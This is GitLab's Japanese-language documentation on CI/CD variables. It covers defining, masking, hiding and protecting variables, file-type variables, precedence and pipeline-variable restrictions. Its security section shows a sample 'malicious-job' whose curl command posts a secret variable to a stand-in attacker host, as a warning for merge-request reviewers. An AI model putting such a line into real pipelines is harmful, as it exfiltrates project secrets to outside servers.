GitLab CI/CD変数

CI/CD変数は、環境変数の一種です。これらを使用して、以下を実行できます:

• ジョブとパイプラインの動作を制御します。
• ジョブスクリプト内などで再利用したい値を保存する。
• .gitlab-ci.ymlファイルで値をハードコーディングすることを回避する。

変数名は、スクリプトを実行する際にRunnerが使用するShellによって制限されます。各Shellには、予約済みの変数名の独自のセットがあります。

一環した動作を確保するには、変数値を常に単一引用符または二重引用符で囲む必要があります。変数は内部的にPsych YAMLパーサーによって解析されるため、引用符で囲まれた変数と引用符で囲まれていない変数は異なる方法で解析される可能性があります。たとえば、VAR1: 012345は8進数値として解釈されるため、値は5349になりますが、VAR1: "012345"は文字列として解析され、値は012345になります。

GitLab CI/CDの高度な使用法の詳細については、GitLabエンジニアが共有する7つの高度なGitLab CIワークフローハックを参照してください。

定義済みCI/CD変数

GitLab CI/CDでは、パイプライン設定およびジョブスクリプトで使用できる定義済みCI/CD変数のセットが用意されています。これらの変数には、パイプラインがトリガーされたり実行されたりするときに必要になる可能性のある、ジョブ、パイプライン、およびその他の値に関する情報が含まれています。

定義済みCI/CD変数は、事前に宣言しなくても.gitlab-ci.ymlで使用できます。例:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

この例のスクリプトは、The job's stage is 'test'を出力します。

.gitlab-ci.ymlファイルでCI/CD変数を定義する

.gitlab-ci.ymlファイルでCI/CD変数を作成するには、variablesキーワードを使用して変数と値を定義します。

.gitlab-ci.ymlファイルに保存された変数は、リポジトリへのアクセス権を持つすべてのユーザーに表示されるため、機密性の低いプロジェクト設定のみを保存する必要があります。たとえば、DATABASE_URL変数に保存されているデータベースのURLなどです。シークレットやキーなどの値を含む機密性の高い変数は、UIで追加する必要があります。

variablesは以下で定義できます:

• ジョブ内: 変数は、そのジョブのscript、before_script、またはafter_scriptセクション、および一部のジョブキーワードでのみ使用できます。
• .gitlab-ci.ymlファイルのトップレベル: 変数はパイプライン内のすべてのジョブのデフォルトとして使用できます。ただし、ジョブが同じ名前の変数を定義する場合は除きます。その場合は、ジョブの変数が優先されます。

どちらの場合も、これらの変数をグローバルキーワードと一緒に使用することはできません。

例:

variables:
  ALL_JOBS_VAR: "A default variable"

job1:
  variables:
    JOB1_VAR: "Job 1 variable"
  script:
    - echo "Variables are '$ALL_JOBS_VAR' and '$JOB1_VAR'"

job2:
  variables:
    ALL_JOBS_VAR: "Different value than default"
    JOB2_VAR: "Job 2 variable"
  script:
    - echo "Variables are '$ALL_JOBS_VAR', '$JOB2_VAR', and '$JOB1_VAR'"

この例では:

• job1の出力: Variables are 'A default variable' and 'Job 1 variable'
• job2の出力: Variables are 'Different value than default', 'Job 2 variable', and ''

valueおよびdescriptionのキーワードを使用して、手動でトリガーされるパイプラインに事前入力される変数を定義します。

単一ジョブでデフォルト変数をスキップする

ジョブでデフォルト変数を使用しない場合は、variablesを{}に設定します:

variables:
  DEFAULT_VAR: "A default variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

UIでCI/CD変数を定義する

トークンやパスワードなどの機密性の高い変数は、.gitlab-ci.ymlファイルではなく、UIの設定に保存する必要があります。

デフォルトでは、フォークされたプロジェクトからのパイプラインは、親プロジェクトで使用できるCI/CD変数にアクセスできません。フォークからのマージリクエストに対して親プロジェクトでマージリクエストパイプラインを実行すると、すべての変数がパイプラインで使用可能になります。

プロジェクトの場合

CI/CD変数をプロジェクトの設定に追加できます。プロジェクトごとに最大8000個のCI/CD変数を設定できます。

前提要件:

• メンテナーロールを持つプロジェクトメンバーである必要があります。

プロジェクトの設定で変数を追加または更新するには、次の手順に従います:

1. 左側のサイドバーで、検索または移動先を選択して、プロジェクトを見つけます。新しいナビゲーションをオンにしている場合、このフィールドは上部のバーにあります。
2. 設定 > CI/CDを選択します。
3. 変数を展開します。
4. 変数を追加するを選択し、詳細を入力します:
   • キー: 英数字または_のみを使用し、スペースを含めず1行で指定する必要があります。
   • 値: 値は10,000文字に制限されていますが、Runnerのオペレーティングシステムの制限も適用されます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、値には追加の制限があります。
   • 種類: Variable（デフォルト）またはFile。
   • 環境スコープ: オプション。すべて (デフォルト) (*)、特定のenvironment環境、またはワイルドカード環境スコープ。
   • 変数の保護: オプション。選択した場合、変数は保護ブランチまたは保護タグで実行されるパイプラインでのみ使用できます。
   • 表示レベル: 表示、マスクする、またはマスクして非表示を選択します。
   • 変数参照を展開: オプション。選択した場合、変数は別の変数を参照できます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、別の変数を参照することはできません。

または、APIを使用してプロジェクト変数を追加することもできます。

グループの場合

グループ内のすべてのプロジェクトでCI/CD変数を使用可能にできます。グループごとに最大30000個のCI/CD変数を設定できます。

前提要件:

• オーナーロールを持つグループメンバーである必要があります。

グループ変数を追加するには、次の手順に従います:

1. 左側のサイドバーで、検索または移動先を選択して、グループを見つけます。新しいナビゲーションをオンにしている場合、このフィールドは上部のバーにあります。
2. 設定 > CI/CDを選択します。
3. 変数を展開します。
4. 変数を追加するを選択し、詳細を入力します:
   • キー: 英数字または_のみを使用し、スペースを含めず1行で指定する必要があります。
   • 値: 値は10,000文字に制限されていますが、Runnerのオペレーティングシステムの制限も適用されます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、値には追加の制限があります。
   • 種類: Variable（デフォルト）またはFile。
   • 変数の保護: オプション。選択した場合、変数は保護ブランチまたは保護タグで実行されるパイプラインでのみ使用できます。
   • 表示レベル: 表示、マスクする、マスクして非表示を選択します。
   • 変数参照を展開: オプション。選択した場合、変数は別の変数を参照できます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、別の変数を参照することはできません。

プロジェクトで使用できるグループ変数は、プロジェクトの設定 > CI/CD > 変数セクションに一覧表示されます。サブグループからの変数は、再帰的に継承されます。

または、APIを使用してグループ変数を追加することもできます。

環境範囲

特定の環境でのみ使用できるグループレベルのCI/CD変数を設定するには、次の手順に従います:

1. 左側のサイドバーで、検索または移動先を選択して、グループを見つけます。新しいナビゲーションをオンにしている場合、このフィールドは上部のバーにあります。
2. 設定 > CI/CDを選択します。
3. 変数を展開します。
4. 変数の右側にある編集（ ）を選択します。
5. 環境スコープで、すべて (デフォルト)（*）、特定の環境、またはワイルドカードの環境スコープを選択します。

インスタンスの場合

GitLabインスタンス内のすべてのプロジェクトとグループでCI/CD変数を使用可能にできます。

前提要件:

• インスタンスへの管理者アクセス権が必要です。

インスタンス変数を追加するには、次の手順に従います:

1. 左側のサイドバーの下部で、管理者を選択します。新しいナビゲーションをオンにしている場合は、左側のサイドバーの下部にある管理者を選択します。
2. 設定 > CI/CDを選択します。
3. 変数を展開します。
4. 変数を追加するを選択し、詳細を入力します:
   • キー: 英数字または_のみを使用し、スペースを含めず1行で指定する必要があります。
   • 値: 値は10,000文字に制限されていますが、Runnerのオペレーティングシステムの制限も適用されます。表示レベルが表示に設定されている場合、他の制限はありません。
   • 種類：Variable (デフォルト) またはFile。
   • 変数の保護: オプション。選択した場合、変数は保護ブランチまたは保護タグで実行されるパイプラインでのみ使用できます。
   • 表示レベル: 表示、マスクする、またはマスクして非表示を選択します。
   • 変数参照を展開: オプション。選択した場合、変数は別の変数を参照できます。表示レベルがマスクするまたはマスクして非表示に設定されている場合、別の変数を参照することはできません。

または、APIを使用してインスタンス変数を追加することもできます。

CI/CD変数のセキュリティ

.gitlab-ci.ymlファイルにプッシュされたコードは、変数のセキュリティを侵害する可能性があります。変数がジョブログで誤って公開されたり、悪意を持ってサードパーティのサーバーに送信されたりする可能性があります。

次の操作を行う前に、.gitlab-ci.ymlファイルに変更を加えるすべてのマージリクエストを確認してください:

• フォークされたプロジェクトから送信されたマージリクエストに対して親プロジェクトでパイプラインを実行する。
• 変更をマージする。

ファイルを追加したり、パイプラインを実行したりする前に、インポートされたプロジェクトの.gitlab-ci.ymlファイルを確認してください。

次の例は、.gitlab-ci.ymlファイル内の悪意のあるコードを示しています:

accidental-leak-job:
  script:                                         # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script:                                         # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

accidental-leak-jobのようなスクリプトを介してシークレットが誤って漏洩するリスクを軽減するために、機密情報を含むすべての変数は、常にジョブログでマスクする必要があります。変数を保護ブランチと保護タグのみに制限することもできます。

または、シークレットを保存および取得するために、外部シークレット管理プロバイダーに接続します。

malicious-jobのような悪意のあるスクリプトは、レビュープロセス中に発見する必要があります。レビュアーは、このようなコードを見つけた場合、決してパイプラインをトリガーしてはいけません。悪意のあるコードによって、マスクされた変数と保護された変数の両方が漏洩する可能性があるためです。

変数の値はaes-256-cbcを使用して暗号化され、データベースに保存されます。このデータは、有効なsecrets fileシークレットファイルでのみ、復号化することができます。

CI/CD変数をマスクする

ジョブログに値が表示されないように、プロジェクト、グループ、またはインスタンスのCI/CD変数をマスクできます。ジョブがマスクされた変数の値を出力すると、その値はジョブログで[MASKED]に置き換えられます。場合によっては、[MASKED]値の後にx文字が続くこともあります。

前提要件:

• UIでCI/CD変数を追加するために必要なのと同じロールまたはアクセスレベルが必要です。

変数をマスクするには、次の手順に従います:

1. グループ、プロジェクト、または管理者エリアで、設定 > CI/CDを選択します。
2. 変数を展開します。
3. 保護したい変数の横にある編集を選択します。
4. 表示レベルで、Mask variable（変数をマスク）を選択します。
5. （推奨）変数参照を展開チェックボックスをオフにします。変数の展開が有効になっている場合、変数の値で使用できる非英数字は、_、:、@、-、+、.、~、=、/、および~のみです。設定が無効になっている場合、すべての文字を使用できます。
6. 変数を更新を選択します。

変数の値は、以下である必要があります:

• スペースなしの単一行。
• 8文字以上。
• 既存の定義済みまたはカスタムCI/CD変数の名前と一致しない。

プロセスがわずかに変更された方法で値を出力する場合、値をマスクできません。たとえば、シェルが特殊文字をエスケープするために\を追加すると、値はマスクされません:

• マスクされた変数の値の例：My[value]
• この出力はマスクされません：My\[value\]

CI_DEBUG_SERVICESが有効になっている場合、変数の値が明らかになる可能性があります。詳細については、サービスコンテナのログを参照してください。

CI/CD変数を非表示にする

マスキングに加えて、CI/CDの設定ページでCI/CD変数の値を表示されないようにすることもできます。変数を非表示にできるのは、新しい変数を作成するときのみです。既存の変数を更新して非表示にすることはできません。

前提要件:

• UIでCI/CD変数を追加するために必要なのと同じロールまたはアクセスレベルが必要です。
• 変数の値が、マスクされた変数の要件を満たしている必要があります。

変数を非表示にするには、UIで新しいCI/CD変数を追加するときに、表示レベルセクションでマスクして非表示を選択します。変数を保存すると、その変数はCI/CDパイプラインで使用できますが、UIで再度表示することはできません。

CI/CD変数を保護する

保護ブランチまたは保護タグで実行されるパイプラインでのみ使用可能になるよう、プロジェクト、グループ、またはインスタンスのCI/CD変数を設定できます。

マージ結果パイプラインとマージリクエストパイプラインは、必要に応じて保護された変数にアクセスできます。

前提要件:

• UIでCI/CD変数を追加するために必要なのと同じロールまたはアクセスレベルが必要です。

変数の保護を設定するには、次の手順に従います:

1. プロジェクトまたはグループで、設定 >CI/CDに移動します。
2. 変数を展開します。
3. 保護したい変数の横にある編集を選択します。
4. 変数の保護チェックボックスをオンにします。
5. 変数を更新を選択します。

この変数は、後続のすべてのパイプラインで使用できます。

ファイルタイプのCI/CD変数を使用する

すべての定義済みCI/CD変数と.gitlab-ci.ymlファイルで定義された変数は、「変数」タイプ（APIでは"variable_type": "env_var"が）です。

変数タイプの変数には次の特徴があります:

• キーと値のペアで構成されます。
• ジョブ内で環境変数として使用でき、その際は次のようになります:
  • CI/CD変数キーは環境変数名として扱われる。
  • CI/CD変数値は環境変数値として扱われる。

プロジェクト、グループ、およびインスタンスのCI/CD変数は、デフォルトでは「変数」種類ですが、必要に応じて「ファイル」種類（APIでは"variable_type": "file"）に設定することもできます。ファイルタイプの変数には次の特徴があります:

• キー、値、ファイルで構成されます。
• ジョブ内で環境変数として使用でき、その際は次のようになります:
  • CI/CD変数キーは環境変数名として扱われる。
  • CI/CD変数値は一時ファイルに保存される。
  • その一時ファイルのパスは環境変数値として扱われる。

ファイルを入力として必要とするツールには、ファイルタイプのCI/CD変数を使用します。

たとえば、AWS CLIとkubectlはどちらも、設定にFile種類の変数を使用するツールです。kubectlを使用している場合:

• キーがKUBE_URL、値がhttps://example.comの変数。
• キーがKUBE_CA_PEM、値が証明書のファイルタイプの変数。

この場合、変数を受け付ける--serverオプションにはKUBE_URLを渡し、ファイルのパスを受け付ける--certificate-authorityオプションには$KUBE_CA_PEMを渡します:

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"

.gitlab-ci.yml変数をファイルタイプ変数として使用する

.gitlab-ci.ymlファイルで定義されたCI/CD変数をファイルタイプ変数として設定することはできません。入力としてファイルパスを必要とするツールで、.gitlab-ci.ymlで定義された変数を使用したい場合:

• 変数の値をファイルに保存するコマンドを実行します。
• ツールでそのファイルを使用します。

例:

variables:
  SITE_URL: "https://gitlab.example.com"

job:
  script:
    - echo "$SITE_URL" > "site-url.txt"
    - mytool --url-file="site-url.txt"

CI/CD変数の展開を防ぐ

展開された変数は、$文字を含む値を別の変数への参照として扱います。パイプラインの実行時、参照は展開され、参照されている変数の値が使用されます。

UIで定義されたCI/CD変数は、デフォルトでは展開されません。.gitlab-ci.ymlファイルで定義されたCI/CD変数の場合、variables:expandキーワードを使用して変数の展開を制御します。

前提要件:

• UIでCI/CD変数を追加するために必要なのと同じロールまたはアクセスレベルが必要です。

変数の変数展開を無効にするには、次の手順に従います:

1. プロジェクトまたはグループで、設定 >CI/CDに移動します。
2. 変数を展開します。
3. 展開したくない変数の横にある編集を選択します。
4. 変数参照を展開チェックボックスをオンにします。
5. 変数を更新を選択します。

CI/CD変数の優先順位

異なる場所で同じ名前のCI/CD変数を使用できますが、値が相互に上書きされる可能性があります。変数のタイプと定義されている場所によって、どの変数が優先されるかが決まります。

変数の優先順位は次のとおりです（高いものから低いものへ）:

1. パイプライン実行ポリシー変数。
2. スキャン実行ポリシー変数。
3. パイプライン変数。以下の変数の優先順位はすべて同じです:
   • ダウンストリームパイプラインに渡される変数。
   • トリガー変数。
   • スケジュールされたパイプライン変数。
   • 手動パイプライン変数。
   • APIを使用してパイプラインを作成するときに追加された変数。
   • 手動ジョブ変数。
4. プロジェクト変数。
5. グループ変数。グループとそのサブグループに同じ変数名が存在する場合、ジョブは最も近いサブグループの値を使用します。たとえば、Group > Subgroup 1 > Subgroup 2 > Projectがある場合、Subgroup 2で定義された変数が優先されます。
6. インスタンス変数。
7. dotenvレポートからの変数。
8. .gitlab-ci.ymlファイルのジョブで定義されたジョブ変数。
9. .gitlab-ci.ymlファイルのトップレベルで定義された、すべてのジョブのデフォルト変数。
10. デプロイ変数。
11. 定義済み変数。

例:

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable is '$API_TOKEN'"

この例では、job1はThe variable is 'secure'を出力します。.gitlab-ci.ymlファイル内のジョブで定義された変数は、デフォルト変数よりも優先順位が高いためです。

パイプライン変数を使用する

パイプライン変数とは、新しいパイプラインの実行時に指定する変数です。

前提要件:

• プロジェクトでデベロッパーロールを持っている必要があります。

次の場合にパイプライン変数を指定できます:

• UIでパイプラインを手動で実行する。
• スケジュールされたパイプラインを作成します。
• pipelines APIエンドポイントを使用してパイプラインを作成する。
• triggers APIエンドポイントを使用してパイプラインを作成する。
• プッシュオプションを使用する。
• variablesキーワード 、trigger:forwardキーワード 、またはdotenv変数のいずれかを使用して、ダウンストリームパイプラインに変数を渡す。

これらの変数は優先順位が高く、定義済み変数を含め、定義された他の変数をオーバーライドできます。

パイプライン変数を制限する

パイプライン変数を使用したパイプラインの実行を、特定のユーザーロールを持つユーザーに制限できます。より低いロールのユーザーがパイプライン変数を使用しようとすると、Insufficient permissions to set pipeline variables（パイプライン変数を設定する権限がありません）というエラーメッセージが表示されます。

前提要件:

• プロジェクトでメンテナーロールを持っている必要があります。最小ロールが以前にownerまたはno_one_allowedに設定されていた場合は、プロジェクトのオーナーロールを持っている必要があります。

パイプライン変数の使用をメンテナー以上のロールを持つユーザーのみに制限するには、次の手順に従います:

• 設定 > CI/CD > 変数に移動します。
• パイプライン変数が使用できる最小ロールで、次のいずれかを選択します:
  • no_one_allowed: パイプライン変数を使用して実行できるパイプラインはありません。GitLab.comでは、新しいネームスペースにおける新しいプロジェクトのデフォルトです。
  • owner: オーナーロールを持つユーザーのみが、パイプライン変数を使用してパイプラインを実行できます。この設定をこの値に変更するには、プロジェクトのオーナーロールが必要です。
  • maintainer: メンテナーロール以上のユーザーのみが、パイプライン変数を使用してパイプラインを実行できます。GitLab Self-ManagedおよびGitLab Dedicatedで、指定されていない場合のデフォルトです。
  • developer: デベロッパーロール以上のユーザーのみが、パイプライン変数を使用してパイプラインを実行できます。

プロジェクトAPIを使用して、ci_pipeline_variables_minimum_override_role設定のロールを設定することもできます。

この制限は、プロジェクトまたはグループの設定で定義されたCI/CD変数の使用には影響しません。ほとんどのジョブでは、YAML設定でvariablesキーワードを使用できますが、triggerキーワードを使用してダウンストリームパイプラインをトリガーするジョブでは使用できません。トリガージョブは、変数をパイプライン変数としてダウンストリームパイプラインに渡します。この変数の受け渡しも、同じ設定によって制御されます。

複数のプロジェクトに対してパイプライン変数の制限を有効にする

多くのプロジェクトを含むグループの場合、現在使用していないすべてのプロジェクトでパイプライン変数を無効にすることができます。このオプションは、パイプライン変数を使用したことがないプロジェクトに対し、パイプライン変数が使用できる最小ロール設定をno_one_allowedに設定します。

前提要件:

• グループのオーナーロールを持っている必要があります。

グループ内のプロジェクトでパイプライン変数の制限設定を有効にするには:

1. 左側のサイドバーで、検索または移動先を選択して、グループを見つけます。新しいナビゲーションをオンにしている場合、このフィールドは上部のバーにあります。
2. 設定 > CI/CDを選択します。
3. 変数を展開します。
4. パイプライン変数を使用していないプロジェクトで、パイプライン変数を無効にするセクションで、マイグレーションの開始を選択します。

移行はバックグラウンドで実行されます。移行が完了すると、メール通知が届きます。プロジェクトのメンテナーは、必要に応じて、後で個々のプロジェクトの設定を変更できます。

変数をエクスポートする

個別のShellコンテキストで実行されるスクリプトは、エクスポート、エイリアス、ローカル関数定義、またはその他のローカルShellの更新を共有しません。

これは、ジョブが失敗した場合、ユーザー定義スクリプトによって作成された変数がエクスポートされないことを意味します。

Runnerが.gitlab-ci.ymlで定義されたジョブを実行する場合:

• before_scriptおよびmainスクリプトで指定されたスクリプトは、単一のShellコンテキストで一緒に実行され、連結されます。
• after_scriptで指定されたスクリプトは、before_scriptおよび指定されたスクリプトとは完全に別のShellコンテキストで実行されます。

スクリプトが実行されるShellに関係なく、Runnerの出力には以下が含まれます:

• 定義済み変数。
• 以下で定義された変数:
  • インスタンス、グループ、またはプロジェクトのCI/CD設定。
  • .gitlab-ci.ymlファイルのvariables:セクション。
  • .gitlab-ci.ymlファイルのsecrets:セクション。
  • config.toml。

Runnerは、export MY_VARIABLE=1のようなスクリプトの本文で実行される手動エクスポート、Shellエイリアス、および関数を処理できません。

たとえば、次の.gitlab-ci.ymlファイルでは、次のスクリプトが定義されています:

job:
 variables:
   JOB_DEFINED_VARIABLE: "job variable"
 before_script:
   - echo "This is the 'before_script' script"
   - export MY_VARIABLE="variable"
 script:
   - echo "This is the 'script' script"
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"
 after_script:
   - echo "JOB_DEFINED_VARIABLE's value is ${JOB_DEFINED_VARIABLE}"
   - echo "CI_COMMIT_SHA's value is ${CI_COMMIT_SHA}"
   - echo "MY_VARIABLE's value is ${MY_VARIABLE}"

Runnerがこのジョブを実行すると:

1. before_scriptが実行されます:
   1. 出力に表示します。
   2. MY_VARIABLEの変数を定義します。
2. scriptが実行されます:
   1. 出力に表示します。
   2. JOB_DEFINED_VARIABLEの値を表示します。
   3. CI_COMMIT_SHAの値を表示します。
   4. MY_VARIABLEの値を表示します。
3. after_scriptは、新しい、別のShellコンテキストで実行されます:
   1. 出力に表示します。
   2. JOB_DEFINED_VARIABLEの値を表示します。
   3. CI_COMMIT_SHAの値を表示します。
   4. MY_VARIABLEの値を空として表示します。これは、after_scriptがbefore_scriptとは別のShellコンテキストにあるため、変数の値を検出できないからです。

関連トピック

• 実行中のアプリケーションにCI/CD変数を渡すようにAuto DevOpsを設定できます。実行中のアプリケーションのコンテナで、CI/CD変数を環境変数として使用できるようにするには、変数キーのプレフィックスをK8S_SECRET_にします。

• Managing the Complex Configuration Data Management Monster Using GitLab （GitLabを活用した複雑な設定データ管理への取り組み）動画は、Complex Configuration Data Monorepo（複雑な設定データのモノレポ）の実践例プロジェクトをわかりやすく解説したものです。この動画では、複数階層のグループCI/CD変数と環境ごとにスコープされたプロジェクト変数を組み合わせることで、アプリケーションの複雑なビルドやデプロイの設定をどのように実現できるかを説明しています。

  この例は、自分のグループまたはインスタンスにコピーしてテストできます。他のGitLab CIパターンのデモの詳細については、プロジェクトページをご覧ください。

• CI/CD変数をダウンストリームパイプラインに渡すことができます。trigger:forwardキーワードを使用して、ダウンストリームパイプラインに渡す変数のタイプを指定します。